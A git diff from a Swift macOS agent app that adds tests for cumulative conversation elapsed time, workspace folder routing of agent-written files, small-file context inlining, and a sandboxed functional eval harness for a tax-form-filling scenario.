// The gutter only ever carries the waiting-on-user icons or the live clock — a completed
// conversation keeps surfacing as a colored pointer + chin line, and the rest (including a benign
@@ -1465,9 +1478,9 @@ public struct UserQueryNotchStatusView: View {
/// Full elapsed time (hours, minutes, and seconds) for the collapsed right gutter. The gutter's
/// trailing lane is sized to fit the whole running total beside the camera, so the clock never
/// collapses to a single unit.
- private func fullLiveTime(since start: Date) -> some View {
- TimelineView(.periodic(from: start, by: 1)) { context in
- slotText(Self.elapsedDescription(from: start, to: context.date))
+ private func fullLiveTime(for conversation: UserQueryConversation) -> some View {
+ TimelineView(.periodic(from: conversation.createdAt, by: 1)) { context in
+ slotText(Self.elapsedDescription(seconds: Self.conversationElapsedSeconds(conversation, asOf: context.date)))
}
}
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/ConversationElapsedTimeTests.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/ConversationElapsedTimeTests.swift
new file mode 100644
index 00000000..e2971b01
--- /dev/null
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/ConversationElapsedTimeTests.swift
@@ -0,0 +1,140 @@
+import DonkeyContracts
+import Foundation
+import Testing
+@testable import Donkey
+@testable import DonkeyUI
+
+/// Elapsed time is cumulative per conversation: it counts every stretch the loop actually ran and is
+/// monotonic across gates, pauses, and resumes — it never restarts until the conversation reaches a terminal
+/// state. The clock lives in two `private(set)` fields mutated only by `openRunningStretch` /
+/// `closeRunningStretch`, so "restamp the clock without banking" is uncompilable. These lock that guarantee,
+/// the full multi-gate run that originally regressed, and survival across an app interruption.
+@MainActor
+@Suite
+struct ConversationElapsedTimeTests {
+ private let t0 = Date(timeIntervalSince1970: 1_000_000)
+
+ private func conversation(
+ status: UserQueryConversationStatus,
+ createdAt: Date,
+ updatedAt: Date? = nil,
+ accumulatedActiveSeconds: Double = 0
+ ) -> UserQueryConversation {
+ UserQueryConversation(
+ id: "c",
+ title: "Clip the video",
+ detail: "Working",
+ commandText: "clip the video",
+ status: status,
+ accentIndex: 0,
+ createdAt: createdAt,
+ updatedAt: updatedAt ?? createdAt,
+ accumulatedActiveSeconds: accumulatedActiveSeconds
+ )
+ }
+
+ @Test
+ func elapsedIsBankedTotalPlusTheOpenStretchWhileRunning() {
+ // 120s banked from earlier stretches + 30s into the open one = 150s, not a fresh 30s.
+ let running = conversation(status: .running, createdAt: t0, accumulatedActiveSeconds: 120)
+ #expect(running.activeSeconds(asOf: t0.addingTimeInterval(30)) == 150)
+ }
+
+ @Test
+ func elapsedFreezesAtTheBankedTotalWhileStopped() {
+ // Gated/paused: no open stretch, so the clock holds at the banked total and the idle wait is ignored.
+ let waiting = conversation(status: .waitingForPermission, createdAt: t0, accumulatedActiveSeconds: 120)
+ #expect(waiting.runningSince == nil)
+ #expect(waiting.activeSeconds(asOf: t0.addingTimeInterval(9_999)) == 120)
+ }
+
+ @Test
+ func openingAStretchThatIsAlreadyOpenNeverRestartsTheClock() {
+ // The exact bug class: a re-entry into running (a per-step update, an approved gate) must not reset
+ // the anchor. Opening is a no-op while a stretch is already open, so the clock keeps counting.
+ var running = conversation(status: .running, createdAt: t0)
+ running.openRunningStretch(asOf: t0.addingTimeInterval(50))
+ #expect(running.runningSince == t0) // anchor unmoved
+ #expect(running.activeSeconds(asOf: t0.addingTimeInterval(50)) == 50) // 50s, not 0
+ }
+
+ @Test
+ func closingAStretchTwiceBanksItOnlyOnce() {
+ // Closing when nothing is open is a no-op, so a repeated terminal write can't double-count or shrink
+ // the total.
+ var running = conversation(status: .running, createdAt: t0)
+ running.closeRunningStretch(asOf: t0.addingTimeInterval(60))
+ running.closeRunningStretch(asOf: t0.addingTimeInterval(200))
+ #expect(running.accumulatedActiveSeconds == 60)
+ #expect(running.runningSince == nil)
+ }
+
+ @Test
+ func aMultiGateRunStaysCumulativeAndExcludesIdleWaits() {
+ // The scenario that regressed: a shell-heavy task that gates on each command. Every approve re-enters
+ // running; the clock must continue, counting only active time.
+ var c = conversation(status: .running, createdAt: t0) // open at t0
+ c.closeRunningStretch(asOf: t0.addingTimeInterval(60)) // ran 60s, hit a gate
+ #expect(c.activeSeconds(asOf: t0.addingTimeInterval(9_999)) == 60) // frozen while waiting
+ c.openRunningStretch(asOf: t0.addingTimeInterval(90)) // approved 30s later
+ c.closeRunningStretch(asOf: t0.addingTimeInterval(130)) // ran 40s more, next gate
+ #expect(c.accumulatedActiveSeconds == 100) // 60 + 40 — the 30s idle excluded
+ }
+
+ @Test
+ func theBankedTotalSurvivesAnInterruption() {
+ // "Persist if interrupted": a brand-new store instance reading the same file (a relaunch) must see
+ // the banked total, not 0.
+ let url = Self.tempStoreURL()
+ let writer = CoreDataUserQueryConversationStore(storeURL: url)
+ writer.upsertConversation(conversation(status: .paused, createdAt: t0, accumulatedActiveSeconds: 312))
+
+ let afterRelaunch = CoreDataUserQueryConversationStore(storeURL: url)
+ let restored = afterRelaunch.loadRecentConversations(limit: 10).first { $0.id == "c" }
+ #expect(restored?.accumulatedActiveSeconds == 312)
+ }
+
+ @Test
+ func theOpenStretchAnchorSurvivesAnInterruption() {
+ // A conversation running when saved keeps its anchor across a relaunch, so the in-flight stretch can
+ // be banked at its real end rather than lost.
+ let url = Self.tempStoreURL()
+ let writer = CoreDataUserQueryConversationStore(storeURL: url)
+ let anchor = t0.addingTimeInterval(-90)
+ writer.upsertConversation(conversation(status: .running, createdAt: anchor, accumulatedActiveSeconds: 40))
+
+ let afterRelaunch = CoreDataUserQueryConversationStore(storeURL: url)
+ let restored = afterRelaunch.loadRecentConversations(limit: 10).first { $0.id == "c" }
+ #expect(restored?.runningSince != nil)
+ #expect(abs((restored?.runningSince ?? .distantPast).timeIntervalSince(anchor)) < 1)
+ }
+
+ @Test
+ func relaunchBanksTheInFlightStretchSoTheClockContinues() {
+ let now = Date(timeIntervalSince1970: 2_000_000)
+ // Running when the app quit: 200s banked, plus a stretch that started 160s ago and last advanced 60s
+ // ago (inside the auto-resume window).
+ let beforeQuit = conversation(
+ status: .running,
+ createdAt: now.addingTimeInterval(-160),
+ updatedAt: now.addingTimeInterval(-60),
+ accumulatedActiveSeconds: 200
+ )
+
+ let (restored, autoResumeIDs) = UserQueryOverlayModel.restoredConversations(from: [beforeQuit], now: now)
+ let resumed = try! #require(restored.first { $0.id == "c" })
+
+ // The in-flight stretch is banked at its REAL end (updatedAt - anchor = 100s), never the app-closed
+ // gap — on top of the 200s for a 300s cumulative total.
+ #expect(resumed.accumulatedActiveSeconds == 300)
+ #expect(resumed.runningSince == now) // reopened at relaunch, so the clock continues
+ #expect(autoResumeIDs.contains("c"))
+ #expect(resumed.activeSeconds(asOf: now) == 300)
+ }
+
+ private static func tempStoreURL() -> URL {
+ FileManager.default.temporaryDirectory
+ .appendingPathComponent(UUID().uuidString, isDirectory: true)
+ .appendingPathComponent("conversations.sqlite")
+ }
+}
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/ConversationWorkspaceTests.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/ConversationWorkspaceTests.swift
index a8798c6e..74abf025 100644
--- a/apps/Donkey/Tests/DonkeyRuntimeTests/ConversationWorkspaceTests.swift
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/ConversationWorkspaceTests.swift
@@ -60,18 +60,237 @@ struct ConversationWorkspaceStructTests {
}
@Test
- func plannerSummaryReflectsLooseThenPromoted() {
+ func plannerSummaryNamesWorkingDirectoryThenPromotedFolder() {
var workspace = ConversationWorkspace()
workspace.record(path: "/Users/x/Downloads/a.txt", kind: "files.write", byteCount: nil, at: now)
- let loose = workspace.plannerSummary()
- #expect(loose.contains("none yet"))
- #expect(loose.contains("a.txt"))
+ // One loose file sits in the working directory — the summary names the folder to write into, not
+ // "<none yet>", and lists the file.
+ let working = workspace.plannerSummary()
+ #expect(working.contains("put intermediate and output files"))
+ #expect(!working.contains("<none yet>"))
+ #expect(working.contains("a.txt"))
workspace.record(path: "/Users/x/Downloads/proj/b.txt", kind: "files.write", byteCount: nil, at: now)
let promoted = workspace.plannerSummary()
#expect(promoted.contains("folder="))
#expect(promoted.contains("proj"))
- #expect(!promoted.contains("none yet"))
+ }
+
+ @Test
+ func currentBaseDirectoryFallsBackToSeededRoot() {
+ // Before any deliverable, the seeded working directory is the resolve base.
+ let workspace = ConversationWorkspace(root: "/Users/x/Donkey/fill-out-f1120-ab12cd34")
+ #expect(workspace.currentBaseDirectory == "/Users/x/Donkey/fill-out-f1120-ab12cd34")
+ // A genuinely user-named location the planner wrote to (not a bare scatter root) wins over the root.
+ var named = workspace
+ named.record(path: "/Users/x/Documents/Taxes/2024/out.pdf", kind: "files.write", byteCount: nil, at: now)
+ #expect(named.currentBaseDirectory == "/Users/x/Documents/Taxes/2024")
+ }
+
+ // Scatter-root detection keys on the real machine home, so these use it (production paths are
+ // home-based too); `/Users/x` literals wouldn't register as scatter roots.
+ private let home = FileManager.default.homeDirectoryForCurrentUser.path
+
+ @Test
+ func scatterRootDeliverableDoesNotClobberDedicatedRoot() {
+ // A shell tool (yt-dlp/ffmpeg) writing its output straight into ~/Downloads must NOT migrate the
+ // whole workspace there: the dedicated task folder stays the base, so later files group into it
+ // instead of scattering loose in Downloads. This is the regression behind the `cd ~/Downloads && …`
+ // run — a single scatter-root deliverable used to override `root`.
+ let root = home + "/Donkey/clip-the-video-ab12cd34"
+ var workspace = ConversationWorkspace(root: root)
+ workspace.record(path: home + "/Downloads/clip.webm", kind: "shell_exec", byteCount: nil, at: now)
+ #expect(workspace.currentBaseDirectory == root)
+ #expect(workspace.plannerSummary().contains("clip-the-video-ab12cd34"))
+ // But a real subfolder the planner grouped into is still honored — only the bare scatter root yields.
+ workspace.record(path: home + "/Downloads/clip-project/out.mp4", kind: "shell_exec", byteCount: nil, at: now)
+ #expect(workspace.currentBaseDirectory == home + "/Downloads/clip-project")
+ }
+
+ @Test
+ func scatterRootDeliverableWithNoRootStillGroupsThere() {
+ // With no dedicated root to fall back on (directory creation failed, or a pre-seeding conversation),
+ // a Downloads deliverable still anchors there so the task's files at least stay together.
+ var workspace = ConversationWorkspace()
+ workspace.record(path: home + "/Downloads/clip.webm", kind: "shell_exec", byteCount: nil, at: now)
+ #expect(workspace.currentBaseDirectory == home + "/Downloads")
+ }
+
+ @Test
+ func defaultRootPathSlugsTheGoalUnderTheWorkspaceParent() {
+ let path = ConversationWorkspace.defaultRootPath(
+ goal: "Fill out the f1120.pdf form!", conversationID: "AB12CD34-9999"
+ )
+ let parent = ConversationWorkspace.workspaceParentDirectory().path
+ #expect(path.hasPrefix(parent + "/"))
+ let name = (path as NSString).lastPathComponent
+ #expect(name == "fill-out-the-f1120-pdf-form-ab12cd34")
+ }
+
+ @Test
+ func slugSanitizesAndBounds() {
+ #expect(ConversationWorkspace.slug("Hello, World! 2025") == "hello-world-2025")
+ #expect(ConversationWorkspace.slug(" ") == "")
+ #expect(ConversationWorkspace.slug(String(repeating: "a", count: 100)).count <= 40)
+ }
+
+ @Test
+ func isScatterRootMatchesSharedRootsNotNamedSubfolders() {
+ let home = URL(fileURLWithPath: "/Users/x", isDirectory: true)
+ #expect(ConversationWorkspace.isScatterRoot(home, home: home))
+ for name in ["Downloads", "Desktop", "Documents"] {
+ #expect(ConversationWorkspace.isScatterRoot(URL(fileURLWithPath: "/Users/x/\(name)"), home: home))
+ }
+ // A named subfolder, a different top-level folder, and a nested path are NOT scatter roots.
+ #expect(!ConversationWorkspace.isScatterRoot(URL(fileURLWithPath: "/Users/x/Downloads/proj"), home: home))
+ #expect(!ConversationWorkspace.isScatterRoot(URL(fileURLWithPath: "/Users/x/Donkey/task"), home: home))
+ #expect(!ConversationWorkspace.isScatterRoot(URL(fileURLWithPath: "/Users/x/Documents/Taxes/2024"), home: home))
+ }
+
+ @Test
+ func preferredParentDefaultsToDownloadsAndHonorsUserChoice() {
+ let home = URL(fileURLWithPath: "/Users/x", isDirectory: true)
+ let suite = UserDefaults(suiteName: "donkey-ws-\(UUID().uuidString)")!
+ defer { suite.removeObject(forKey: ConversationWorkspace.outputLocationDefaultsKey) }
+ // Unset → the default, Downloads.
+ #expect(ConversationWorkspace.preferredParentDirectory(defaults: suite, home: home).path == "/Users/x/Downloads")
+ suite.set("desktop", forKey: ConversationWorkspace.outputLocationDefaultsKey)
+ #expect(ConversationWorkspace.preferredParentDirectory(defaults: suite, home: home).path == "/Users/x/Desktop")
+ suite.set("documents", forKey: ConversationWorkspace.outputLocationDefaultsKey)
+ #expect(ConversationWorkspace.preferredParentDirectory(defaults: suite, home: home).path == "/Users/x/Documents")
+ // A custom absolute path is honored verbatim.
+ suite.set("/Volumes/Work/out", forKey: ConversationWorkspace.outputLocationDefaultsKey)
+ #expect(ConversationWorkspace.preferredParentDirectory(defaults: suite, home: home).path == "/Volumes/Work/out")
+ // An unrecognized non-absolute token falls back to the default.
+ suite.set("somewhere", forKey: ConversationWorkspace.outputLocationDefaultsKey)
+ #expect(ConversationWorkspace.preferredParentDirectory(defaults: suite, home: home).path == "/Users/x/Downloads")
+ }
+}
+
+/// The `workspace.files` fact: small working-directory text files are inlined so the planner never
+/// re-reads them; binaries and large dumps are left out.
+@Suite
+struct KnownFileContentsFactTests {
+ private func tempDir() throws -> URL {
+ let dir = FileManager.default.temporaryDirectory
+ .appendingPathComponent("donkey-files-fact-\(UUID().uuidString)", isDirectory: true)
+ try FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true)
+ return dir
+ }
+
+ @Test
+ func inlinesSmallTextAndSkipsBinaryAndLarge() throws {
+ let dir = try tempDir()
+ defer { try? FileManager.default.removeItem(at: dir) }
+ try "Business name: Blue Harbor Logistics Inc.\nEIN: 47-3829156".write(
+ to: dir.appendingPathComponent("1120data.txt"), atomically: true, encoding: .utf8
+ )
+ // A binary file (NUL bytes) must be skipped by the content sniff, not by extension.
+ try Data([0x25, 0x50, 0x44, 0x46, 0x00, 0x01, 0x02]).write(to: dir.appendingPathComponent("f1120.pdf"))
+ // An oversized text file (a field dump) must be skipped so it never bloats the prompt.
+ try String(repeating: "x", count: 20_000).write(
+ to: dir.appendingPathComponent("fields.json"), atomically: true, encoding: .utf8
+ )
+
+ var cache: [String: (mtime: Date, content: String)] = [:]
+ let block = HarnessAgentCoordinator.knownFileContentsBlock(workingDirectory: dir.path, cache: &cache)
+
+ let text = try #require(block)
+ #expect(text.contains("Blue Harbor Logistics"))
+ #expect(text.contains("1120data.txt"))
+ #expect(text.contains("do not re-open"))
+ #expect(!text.contains("f1120.pdf")) // binary skipped
+ #expect(!text.contains("fields.json")) // oversized skipped
+ }
+
+ @Test
+ func emptyDirectoryProducesNoFact() throws {
+ let dir = try tempDir()
+ defer { try? FileManager.default.removeItem(at: dir) }
+ var cache: [String: (mtime: Date, content: String)] = [:]
+ #expect(HarnessAgentCoordinator.knownFileContentsBlock(workingDirectory: dir.path, cache: &cache) == nil)
+ }
+
+ /// A `-o`/`--output` file the command actually wrote is a deliverable; a `>`-redirect scratch dump is
+ /// not. This distinction is what lets the runtime tell "produced the result" from "only scouted".
+ @Test
+ func explicitOutputFileDetectsDeliverableNotScratch() throws {
+ let dir = try tempDir()
+ defer { try? FileManager.default.removeItem(at: dir) }
+ try "filled".write(to: dir.appendingPathComponent("out.pdf"), atomically: true, encoding: .utf8)
+ try "filled".write(to: dir.appendingPathComponent("out2.pdf"), atomically: true, encoding: .utf8)
+ try "filled".write(to: dir.appendingPathComponent("tax return.pdf"), atomically: true, encoding: .utf8)
+ try "page view".write(to: dir.appendingPathComponent("page0.txt"), atomically: true, encoding: .utf8)
+
+ // `-o out.pdf` → the produced output file (resolved against the working directory).
+ #expect(
+ DonkeyCommandBackends.explicitOutputFile(
+ command: "pdf-fill set f1120.pdf --data map.json -o out.pdf", workingDirectory: dir.path
+ ) == dir.appendingPathComponent("out.pdf").path
+ )
+ // A quoted path with a space is ONE token (whitespace tokenizing must honor the quotes).
+ #expect(
+ DonkeyCommandBackends.explicitOutputFile(
+ command: "pdf-fill set f1120.pdf -o 'tax return.pdf'", workingDirectory: dir.path
+ ) == dir.appendingPathComponent("tax return.pdf").path
+ )
+ // The equals-attached long-option form (`--output=out2.pdf`).
+ #expect(
+ DonkeyCommandBackends.explicitOutputFile(
+ command: "pdf-fill set f1120.pdf --output=out2.pdf", workingDirectory: dir.path
+ ) == dir.appendingPathComponent("out2.pdf").path
+ )
+ // A `>`-redirect scratch dump has no output flag — not a deliverable.
+ #expect(
+ DonkeyCommandBackends.explicitOutputFile(
+ command: "pdf-fill form f1120.pdf --page 0 > page0.txt", workingDirectory: dir.path
+ ) == nil
+ )
+ // A `-o` whose file was not actually written returns nil (nothing produced).
+ #expect(
+ DonkeyCommandBackends.explicitOutputFile(
+ command: "pdf-fill set f1120.pdf --data map.json -o missing.pdf", workingDirectory: dir.path
+ ) == nil
+ )
+ // Tools that overload `-o` for something other than output: even though `out.pdf` exists, grep's
+ // only-matching and sort's in-place `-o` must not register it as a freshly produced deliverable.
+ #expect(
+ DonkeyCommandBackends.explicitOutputFile(
+ command: "grep -o out.pdf data.txt", workingDirectory: dir.path
+ ) == nil
+ )
+ #expect(
+ DonkeyCommandBackends.explicitOutputFile(
+ command: "sort -o out.pdf data.txt", workingDirectory: dir.path
+ ) == nil
+ )
+ }
+
+ /// The small INPUT data must survive even when the agent has just written several larger scratch dumps.
+ /// Newest-first selection let those fresh dumps eat the budget and evict the data file, so the planner
+ /// re-read the data every step; smallest-first keeps the data pinned. This locks that fix.
+ @Test
+ func smallInputSurvivesLargerNewerScratchDumps() throws {
+ let dir = try tempDir()
+ defer { try? FileManager.default.removeItem(at: dir) }
+ let old = Date(timeIntervalSince1970: 1_000)
+ // The small data file, copied in first (oldest).
+ let data = dir.appendingPathComponent("1120data.txt")
+ try "Business name: Blue Harbor Logistics Inc.\nEIN: 47-3829156".write(to: data, atomically: true, encoding: .utf8)
+ try FileManager.default.setAttributes([.modificationDate: old], ofItemAtPath: data.path)
+ // Several larger scratch files the agent wrote afterward (newer, each near the per-file cap).
+ for (index, name) in ["form_view.txt", "page0.txt", "page1.txt", "page2.txt"].enumerated() {
+ let url = dir.appendingPathComponent(name)
+ try String(repeating: "y", count: 1_800).write(to: url, atomically: true, encoding: .utf8)
+ try FileManager.default.setAttributes(
+ [.modificationDate: old.addingTimeInterval(Double(index + 1) * 60)], ofItemAtPath: url.path
+ )
+ }
+
+ var cache: [String: (mtime: Date, content: String)] = [:]
+ let text = try #require(HarnessAgentCoordinator.knownFileContentsBlock(workingDirectory: dir.path, cache: &cache))
+ #expect(text.contains("1120data.txt"))
+ #expect(text.contains("Blue Harbor Logistics"))
}
}
@@ -103,12 +322,13 @@ struct FilesWritePathResolutionTests {
}
@Test
- func tildePathExpandsToHomeIgnoringBase() {
+ func tildeDesktopRootWriteIsReRootedIntoWorkspace() {
+ // A bare ~/Desktop write is a scatter root → grouped into the task folder, not left loose on Desktop.
let url = BuiltInHarnessToolExecutors.resolveWritePath(
"~/Desktop/out.txt",
in: worldModel(baseDir: "/Users/x/Downloads/proj")
)
- #expect(url.path == NSHomeDirectory() + "/Desktop/out.txt")
+ #expect(url.path == "/Users/x/Downloads/proj/out.txt")
}
@Test
@@ -125,6 +345,49 @@ struct FilesWritePathResolutionTests {
)
#expect(url.path == "/Users/x/Downloads/proj/secret/notes.md")
}
+
+ @Test
+ func absoluteHomeRootWriteIsReRootedIntoWorkspace() {
+ // The model reflexively writes an intermediate next to where it found an input (`~/fields.json`).
+ // With a workspace, that bare-home-root write is re-rooted into the working directory.
+ let home = NSHomeDirectory()
+ let url = BuiltInHarnessToolExecutors.resolveWritePath(
+ home + "/fields.json",
+ in: worldModel(baseDir: "/Users/x/Donkey/task")
+ )
+ #expect(url.path == "/Users/x/Donkey/task/fields.json")
+ }
+
+ @Test
+ func absoluteHomeRootWriteWithoutWorkspaceIsHonored() {
+ // No working directory to re-root into → the path is left exactly as given.
+ let home = NSHomeDirectory()
+ let url = BuiltInHarnessToolExecutors.resolveWritePath(home + "/fields.json", in: worldModel(baseDir: nil))
+ #expect(url.path == home + "/fields.json")
+ }
+
+ @Test
+ func absoluteDownloadsRootWriteIsReRootedIntoWorkspace() {
+ // The model reflexively drops output in ~/Downloads; with a workspace, that scatter-root write is
+ // grouped into the task folder instead of left loose in Downloads.
+ let home = NSHomeDirectory()
+ let url = BuiltInHarnessToolExecutors.resolveWritePath(
+ home + "/Downloads/out.pdf",
+ in: worldModel(baseDir: "/Users/x/Donkey/task")
+ )
+ #expect(url.path == "/Users/x/Donkey/task/out.pdf")
+ }
+
+ @Test
+ func absoluteUserNamedSubfolderIsHonored() {
+ // A genuinely user-named subfolder (not a bare scatter root) is left exactly where it was aimed.
+ let home = NSHomeDirectory()
+ let url = BuiltInHarnessToolExecutors.resolveWritePath(
+ home + "/Documents/Taxes/out.pdf",
+ in: worldModel(baseDir: "/Users/x/Donkey/task")
+ )
+ #expect(url.path == home + "/Documents/Taxes/out.pdf")
+ }
}
/// The runtime capture + projection: a succeeded file-producing step is recorded into the conversation
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/Fixtures/FunctionalEval/fill-f1120/expect.json b/apps/Donkey/Tests/DonkeyRuntimeTests/Fixtures/FunctionalEval/fill-f1120/expect.json
index 16b96d3e..6c3b8e39 100644
--- a/apps/Donkey/Tests/DonkeyRuntimeTests/Fixtures/FunctionalEval/fill-f1120/expect.json
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/Fixtures/FunctionalEval/fill-f1120/expect.json
@@ -1,6 +1,6 @@
{
"frontmostApp": "Finder",
- "maxSteps": 28,
+ "maxSteps": 40,
"expectProduced": [
{ "kind": "pdfFields", "containsAll": [
["Blue Harbor Logistics"],
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalFixture.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalFixture.swift
index 1871a152..51afc36d 100644
--- a/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalFixture.swift
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalFixture.swift
@@ -113,11 +113,26 @@ struct FunctionalEvalFixture: Sendable, CustomStringConvertible {
prompt.replacingOccurrences(of: "{DIR}", with: sandbox.path)
}
- /// The file names directly in `directory` — used to snapshot the sandbox after setup so the verifier can
- /// tell which files the agent produced.
+ /// Every file under `directory`, as paths relative to it — used to snapshot the sandbox before and after
+ /// the run so the verifier can tell which files the agent produced. Recursive because the agent works in
+ /// its own working directory (a subfolder of the sandbox in an eval), so its output lands one level down,
+ /// not loose at the sandbox root.
static func fileNames(in directory: URL) -> Set<String> {
- let entries = (try? FileManager.default.contentsOfDirectory(atPath: directory.path)) ?? []
- return Set(entries)
+ guard let enumerator = FileManager.default.enumerator(
+ at: directory, includingPropertiesForKeys: [.isRegularFileKey]
+ ) else { return [] }
+ var names: Set<String> = []
+ let prefix = directory.standardizedFileURL.path + "/"
+ for case let url as URL in enumerator {
+ guard (try? url.resourceValues(forKeys: [.isRegularFileKey]))?.isRegularFile == true else { continue }
+ let path = url.standardizedFileURL.path
+ let relative = path.hasPrefix(prefix) ? String(path.dropFirst(prefix.count)) : url.lastPathComponent
+ // The eval's own hermetic conversation store lives under `.harness-store/` inside the sandbox; it
+ // is test bookkeeping, not something the agent produced, so keep it out of the produced snapshot.
+ if relative.hasPrefix(".harness-store/") { continue }
+ names.insert(relative)
+ }
+ return names
}
}
@@ -132,8 +147,13 @@ enum ShellHelper {
process.arguments = ["-lc", command]
process.currentDirectoryURL = directory
var environment = ProcessInfo.processInfo.environment
- let toolsPath = BundledTools.installDirectory.path
+ // Resolve the bundled tools the same way the agent does — an explicit DONKEY_TOOLS_DIR (the repo's
+ // vendor dir, set by the eval toolchain) wins over the Application Support install — and point
+ // pdfium at that dir so `lit` can parse PDFs, matching production.
+ let toolsPath = environment["DONKEY_TOOLS_DIR"].flatMap { $0.isEmpty ? nil : $0 }
+ ?? BundledTools.installDirectory.path
environment["PATH"] = (environment["PATH"] ?? "/usr/bin:/bin:/opt/homebrew/bin") + ":" + toolsPath
+ environment["PDFIUM_LIB_PATH"] = toolsPath
process.environment = environment
let outPipe = Pipe()
process.standardOutput = outPipe
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalRunner.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalRunner.swift
index f926ae68..e3b46f23 100644
--- a/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalRunner.swift
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalRunner.swift
@@ -48,7 +48,14 @@ struct FunctionalEvalRun {
.map { key, value in "\(key)=\(value.count > 160 ? String(value.prefix(160)) + "…" : value)" }
.joined(separator: " ")
let suffix = input.isEmpty ? "" : " { \(input) }"
- return " \(index + 1). \(record.call.name) → \(String(describing: record.resultStatus))\(suffix)"
+ var line = " \(index + 1). \(record.call.name) → \(String(describing: record.resultStatus))\(suffix)"
+ // Surface the result summary for anything that did not plainly succeed: that text carries WHY a
+ // tool failed (e.g. the orchestrator's "could not map" / "no form file"), invisible otherwise.
+ if record.resultStatus != .succeeded, !record.summary.isEmpty {
+ let reason = record.summary.count > 240 ? String(record.summary.prefix(240)) + "…" : record.summary
+ line += "\n ↳ \(reason)"
+ }
+ return line
}.joined(separator: "\n")
}
}
@@ -115,10 +122,24 @@ enum FunctionalEvalRunner {
return await realCommandExecutor(context)
}
}
+ // Wire pdf.fill exactly as production does, using the eval's backend, so the forced-apply form
+ // pipeline runs headlessly. Without this, services.formFiller is nil and pdf.fill reports unavailable.
+ let formMapper = HostedFormMapper(backend: backend)
+ let formOrchestrator = FormFillOrchestrator(mapper: { form, data in await formMapper.map(formText: form, dataText: data) })
+ services.formFiller = { request in await formOrchestrator.fill(request) }
let registry = BuiltInHarnessToolCatalog.registryWithBuiltInExecutors(services: services)
let descriptors = BuiltInHarnessToolCatalog.descriptors
- let coordinator = HarnessAgentCoordinator()
+ // Wire a hermetic conversation store, as the app does (it passes a FileHarnessConversationStore). The
+ // coordinator no-ops its whole workspace subsystem without one — `ensureWorkspaceRoot` seeds the
+ // per-conversation working directory only when a store is present, deliverables are tracked through
+ // the store, and the small-file context fact reads off the resulting baseDir. A store-less eval
+ // therefore never exercises any of that and the agent falls back to writing in $HOME, which is NOT
+ // how production runs. The store file lives inside the sandbox so it is cleaned up with it.
+ let storeURL = sandbox
+ .appendingPathComponent(".harness-store", isDirectory: true)
+ .appendingPathComponent("conversations.json")
+ let coordinator = HarnessAgentCoordinator(conversationStore: FileHarnessConversationStore(storeURL: storeURL))
let goal = (understanding?.restatedGoal).flatMap { $0.isEmpty ? nil : $0 } ?? prompt
let agent = await coordinator.createAgent(
conversationID: conversationID,
diff --git a/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalTests.swift b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalTests.swift
index dcb264ab..4da72efc 100644
--- a/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalTests.swift
+++ b/apps/Donkey/Tests/DonkeyRuntimeTests/FunctionalEval/FunctionalEvalTests.swift
@@ -14,14 +14,54 @@ import Testing
/// swift test --filter FunctionalEval
///
/// Add a case by dropping a new folder — no Swift change needed.
-@Suite
+@Suite(.serialized)
@MainActor
struct FunctionalEvalTests {
+ /// Append a line to `DONKEY_EVAL_RESULT_FILE` when set. swift-testing's console reporter is invisible
+ /// in a headless/redirected run, so this is how a CI step (or a developer) reads the eval's actual
+ /// outcome — entry, final status, produced files, per-check pass/fail — out of band from stdout.
+ private static func note(_ line: String) {
+ guard let path = ProcessInfo.processInfo.environment["DONKEY_EVAL_RESULT_FILE"], !path.isEmpty else { return }
+ let data = Data((line + "\n").utf8)
+ if let handle = FileHandle(forWritingAtPath: path) {
+ handle.seekToEndOfFile(); handle.write(data); try? handle.close()
+ } else {
+ try? data.write(to: URL(fileURLWithPath: path))
+ }
+ }
+
@Test(arguments: FunctionalEvalFixture.all())
func scenario(_ fixture: FunctionalEvalFixture) async throws {
- guard let config = FunctionalEvalRunner.configFromEnvironment() else { return }
+ Self.note("ENTER \(fixture.name)")
+ guard let config = FunctionalEvalRunner.configFromEnvironment() else {
+ Self.note("SKIP \(fixture.name): not opted in (DONKEY_FUNCTIONAL_EVAL/DONKEY_WEB_BASE_URL)")
+ return
+ }
+
+ // Run the SAME bundled toolchain as production (lit + pdfium + pdf-fill + ffmpeg from the repo's
+ // vendor dir). Fail loudly if it isn't staged — a "real pipeline" eval must not pass while silently
+ // missing its tools.
+ guard FunctionalEvalToolchain.ensure() != nil else {
+ Self.note("FAIL \(fixture.name): bundled tools not found")
+ Issue.record("Bundled tools not found. Run scripts/fetch-bundled-tools.sh (stages vendor/donkey-tools, including libpdfium.dylib).")
+ return
+ }
let sandbox = try fixture.makeSandbox()
+ // Route the agent's per-conversation working directory inside this sandbox (as prod routes it under
+ // ~/Donkey), so its output — written into that working dir — is captured by the produced-files scan
+ // and cleaned up with the sandbox. Serialized suite, so this process-wide setting can't race.
+ // Restore it after the scenario: the sandbox is deleted on success, and `workspaceParentDirectory`
+ // reads this live via getenv, so a leaked value would point a later test's workspace at a dead path.
+ let priorWorkspaceDir = ProcessInfo.processInfo.environment["DONKEY_WORKSPACE_DIR"]
+ setenv("DONKEY_WORKSPACE_DIR", sandbox.path, 1)
+ defer {
+ if let priorWorkspaceDir {
+ setenv("DONKEY_WORKSPACE_DIR", priorWorkspaceDir, 1)
+ } else {
+ unsetenv("DONKEY_WORKSPACE_DIR")
+ }
